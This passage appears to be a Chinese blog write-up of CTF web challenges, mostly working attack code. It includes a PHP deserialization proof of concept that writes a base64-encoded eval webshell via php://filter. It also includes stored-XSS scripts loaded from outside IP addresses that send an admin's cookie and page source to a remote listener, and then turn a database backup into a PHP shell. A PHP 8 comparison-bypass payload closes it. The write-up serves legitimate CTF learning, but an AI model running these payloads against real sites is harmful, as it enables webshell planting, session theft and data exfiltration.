        $d   = '<?php die("have a nice weekend");?>';
        $a= $d. $this->text;
        @file_put_contents($this-> file,$a);
    }
}
class c{
    public function waf(){
        return "Vivo$0.5,暴打出题人";
    }
}

?>
  • 典型的死亡绕过,前面的报告提到过用filter协议写就行了,直接上poc
<?php
class A{
    public $k;
    public function __construct(){
        $this->k = new c;
    }
    public function __toString(){
        if (isset($this->k)){
            return $this->k->waf();
        }else{
            return "坐大牢";
        }
    }
}
class B{ //flag.php
    public $file;
    public $text;
    public function __construct($file='',$text='') {
        $this -> file = $file;
        $this -> text = $text;

    }
    public function waf(){
        $d   = '<?php die("have a nice weekend");?>';
        $a= $d. $this->text;
        @file_put_contents($this-> file,$a);
    }
}
class c{
    public function waf(){
        return "Vivo$0.5,暴打出题人";
    }
} 
$door = new A();
$door->k = new B();
$door->k->file = 'php://filter/write=string.strip_tags|convert.base64-decode/resource=shell.php';
$door->k->text = 'PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==';
echo urlencode(serialize($door))."\n";
?>
  • 得到O%3A1%3A%22A%22%3A1%3A%7Bs%3A1%3A%22k%22%3BO%3A1%3A%22B%22%3A2%3A%7Bs%3A4%3A%22file%22%3Bs%3A77%3A%22php%3A%2F%2Ffilter%2Fwrite%3Dstring.strip_tags%7Cconvert.base64-decode%2Fresource%3Dshell.php%22%3Bs%3A4%3A%22text%22%3Bs%3A40%3A%22PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs%2FPg%3D%3D%22%3B%7D%7D
  • 最后连接shell.php,密码cmd,注意解释器选择base64

留言板

  • 没有做出来,下面是官方wp
  • 根据hint应该很好判断出这个是 xss ,测试一下可以发现前面俩个有长度限制,能判断在留言框中x。过 滤很简单,只过滤了 cookie 和 document 。而且 hint2 中还给出了 src ,所以这过滤可以是毫无作用
<script src="http://116.63.162.119/xss.js"></script>
#xss.js
location.href='http://xxx:7777/'+document.cookie
  • 上面利用存储型远程加载了恶意js文件,管理员访问页面的时候,就把cookie弹了出来

img

  • 拿到 cookie 后明显是一个假的 flag ,提示需要 getshell 。怎么才能 getshell 呢?直接凭借xss漏洞 是无法做到的。这里就需要注意观察请求数据包 http://127.0.0.1/admin/admin_msg.php 。能够定 位到文件路径及文件名,所以可以利用xss来读取文件(只能读取到前端)
<script src="http://116.63.162.119/xss2.js"></script> 
#xss2.js
function createXmlHttp() {
  if (window.XMLHttpRequest) {
    xmlHttp = new XMLHttpRequest()
  } else {
    var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0',
'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');
    for (var n = 0; n < MSXML.length; n++) {
      try {
        xmlHttp = new ActiveXObject(MSXML[n]);
        break
      } catch(e) {}
    }
  }
}
createXmlHttp();
xmlHttp.onreadystatechange = function(){
 if (xmlHttp.readyState == 4) {
    code=escape(xmlHttp.responseText);
    createXmlHttp();
    url = "http://120.48.123.181:7777";  //接收地址
    cc = "htmlcode=" + btoa(code);
    xmlHttp.open("POST", url, true);
    xmlHttp.setRequestHeader("Content-type", "application/x-www-form-
urlencoded");
    xmlHttp.send(cc)
 }
};
xmlHttp.open("GET", "http://127.0.0.1/admin/", true); //要获取源码的地址
xmlHttp.send(null);
  • 这里需要注意的是要写一些数据进去把之前获取 cookie 的语句顶上去,不然管理员访问的时候都会触 发到,可能接收到的就是还是 cookie

img

  • 解码后得到
<HTML>
<HEAD>
<TITLE>%u6570%u636E%u5E93%u5907%u4EFD</TITLE>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
</HEAD>
<center>
<form method=post name="back">
<table cellSpacing="1" borderColorDark="#ffffff" cellPadding="4" width="680"
align="center" bgColor="#000000" borderColorLight="#000000" border="0">
 <tr bgColr="#ebebeb">
  <td width="20%" align=right>%u6570%u636E%u5E93%u8DEF%u5F84%uFF1A</td>

  <td ><input type=text name="dbpath" size="30"  value="../ly.db" ></td> 
 </tr>
  <tr bgColor="#ebebeb">
  <td width="20%" align=right>%u5907%u4EFD%u8DEF%u5F84%uFF1A</td>
  <td ><input type=text name="bakpath" size="30"
 value="../ly_bak_9526912.db" ></td> 
 </tr>
 <tr bgColor="#ebebeb">
  <td colSpan="2"><input type="submit" value="%u5907%u4EFD" name="Submit">
</tr>
</table>
</form>
</table>
</center>
</body>
</html>
  • 可以发现是将我们提交的内容写到了 ly.db 数据库,然后这个表单可以备份数据库文件,并且备份的数 据库名是可控的。所以我们可以先向数据中写入一句话,然后将数据库备份到一个php文件中即可 getshell
<?php
@eval($_POST['cmd']);
?>
<script src="http://116.63.162.119/xss3.js"></script> 
#xss3.js
function createXmlHttp() {
  if (window.XMLHttpRequest) {
    xmlHttp = new XMLHttpRequest()
  } else {
    var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0',
'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');
    for (var n = 0; n < MSXML.length; n++) {
      try {
        xmlHttp = new ActiveXObject(MSXML[n]);
        break
      } catch(e) {}
    }
  }
}
createXmlHttp();
url = "http://127.0.0.1/admin/";
cc = "dbpath=../ly.db&bakpath=../php.php&Submit=1";
xmlHttp.open("POST", url, true);
xmlHttp.setRequestHeader("Content-type", "application/x-www-form-
urlencoded");
xmlHttp.send(cc)

easyphp

  • 这题也没做出来,不过有些同学找到了非预期解,比如111的8进制或者16进制,这里贴官方wp
error_reporting(0);
$s=$_GET["str"];
if(preg_match("/\+|\-|\*|\/|%|\|/",$s))
{ echo 'no'; exit(); }
if(preg_match("/111/",$s)&&!eval("return '111fo'==${s};"))
 { echo "hacker"; exit(); }
if(eval("return 111===${s};")&&is_string($s))
{ readfile('/flag'); }
  • 对代码进行分析,然后可以得构等于111的字符串。就2条路可以走,进行算数运行或者使用php相关特 性,因为算数运算符被禁,所有要使用类型比较相关特性。同时对环境进行测试,发现111在php7中成 功,但环境中无法读出flag,判断为php其他版本。经过测试为php8.

img

  • 一份php8的特性https://blog.csdn.net/nexttrial/article/details/119572399
paylaod:
11_1
届ける言葉を今は育ててる
最后更新于 2024-02-07